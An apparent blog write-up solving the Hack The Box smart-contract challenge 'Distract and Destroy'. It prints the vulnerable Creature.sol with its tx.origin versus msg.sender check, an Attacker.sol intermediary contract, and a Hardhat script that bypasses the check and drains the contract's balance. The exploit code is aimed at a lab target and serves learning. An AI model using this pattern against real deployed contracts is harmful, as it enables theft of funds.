[Challenge] HTB - Distract and Destroy
Today we gonna solve the challenge “Distract and Destroy” from hack the box website
before start if you wanna see how i solve the another challenges you see the blog here
Ok lets start reading the challenge
download the files …
Here are the two files
Creature.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract Creature {
uint256 public lifePoints;
address public aggro;
constructor() payable {
lifePoints = 1000;
}
function attack(uint256 _damage) external {
if (aggro == address(0)) {
aggro = msg.sender;
}
if (_isOffBalance() && aggro != msg.sender) {
lifePoints -= _damage;
} else {
lifePoints -= 0;
}
}
function loot() external {
require(lifePoints == 0, "Creature is still alive!");
payable(msg.sender).transfer(address(this).balance);
}
function _isOffBalance() private view returns (bool) {
return tx.origin != msg.sender;
}
}
Setup.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Creature} from "./Creature.sol";
contract Setup {
Creature public immutable TARGET;
constructor() payable {
require(msg.value == 1 ether);
TARGET = new Creature{value: 10}();
}
function isSolved() public view returns (bool) {
return address(TARGET).balance == 0;
}
}
To solve this challenge wee need to get the aggro of the monster
So to do that you need to understand the difference of using tx.origin and msg.sender
in a short summary txt.origin is the wallet that iniciate all the transaction flow, and msg.sender is the actual caller of the function
so here we need to create a smart contract to interact with the Creature.sol, in this case the smart contract name is gonna be Attacker.sol
here is the new smart contract
Attacker.sol
// SPDX-License-Identifier: GPL-3.0
/*
This smart contract is gonna be used to bypass the conditional, from the creature.sol
*/
pragma solidity >=0.7.0 <0.9.0;
import "./Creature.sol";
contract Attacker {
Creature creature;
uint256 private nuevo_valor = 0;
constructor(Creature _creature) {
creature = _creature;
}
function attackCreature(uint256 _damage) public {
creature.attack(_damage);
}
}
let me draw a diagram flow to understand better how this gonna work
with this smart contract and flow we gonna exploit the vulnerability of Creature.sol in this pice of code
function _isOffBalance() private view returns (bool) {
return tx.origin != msg.sender;
}
so the first call is gonna be directly from the Wallet Account and the second to attack the creature is gonna come from Attacker.sol, you can check the diagram flow again to understand better
So i gonna use hardhat to do this and here is my script
Hardhat Tests Cases
/*
This script connect to the target and run the
functions needed to get the htb flag
*/
const { expect } = require('chai');
require('dotenv').config();
// .Env data to interact with the smart contracts
const {
PRIV_KEY,
ADDRESS,
TARGET_ADDRESS,
SETUP_ADDRESS
} = process.env;
// Smart contract names
const SETUP = 'Setup';
const TARGET = 'Creature';
const ATTACKER = 'Attacker';
describe("HTB flag flow :)", function () {
let contractSetup;
let contractTarget;
let contractAttacker;
it('[ Instantiate ] Setup.sol', async () => {
const Contract = await hre.ethers.getContractFactory(SETUP);
contractSetup = await Contract.attach(SETUP_ADDRESS);
expect(contractSetup.target).to.be.equal(SETUP_ADDRESS);
});
it('[ Instantiate ] Creature.sol', async () => {
const Contract = await hre.ethers.getContractFactory(TARGET);
contractTarget = await Contract.attach(TARGET_ADDRESS);
expect(contractTarget.target).to.be.equal(TARGET_ADDRESS);
});
it('[ Deploy and Instantiate ] Attacker.sol', async () => {
const Contract = await hre.ethers.getContractFactory(ATTACKER);
contractAttacker = await Contract.deploy(TARGET_ADDRESS);
expect(contractTarget.runner.address).to.be.equal(ADDRESS);
});
it('[ Target ] Calling the smart contract to get the aggro of the creature', async () => {
const response = await contractTarget.attack(100);
expect(response.from).to.be.equal(ADDRESS);
});
it('[ Attacker ] Calling the smart contract function to do the damage', async () => {
const response = await contractAttacker.attackCreature(1000);
expect(response.from).to.be.equal(ADDRESS);
});
it('[ Target ] Claim the loot', async () => {
const response = await contractTarget.loot();
expect(response.from).to.be.equal(ADDRESS);
});
it('[ Setup ] Checking if is solved = true', async () => {
const response = await contractSetup.isSolved();
expect(response).to.be.equal(true);
});
});
you can run the test case using :
npx hardhat test --network htb
and you gonna see the next one in the console
so now we can go to the http://${ip}:${port}/flag and claim the Flag :)
and then just send the Flag :)
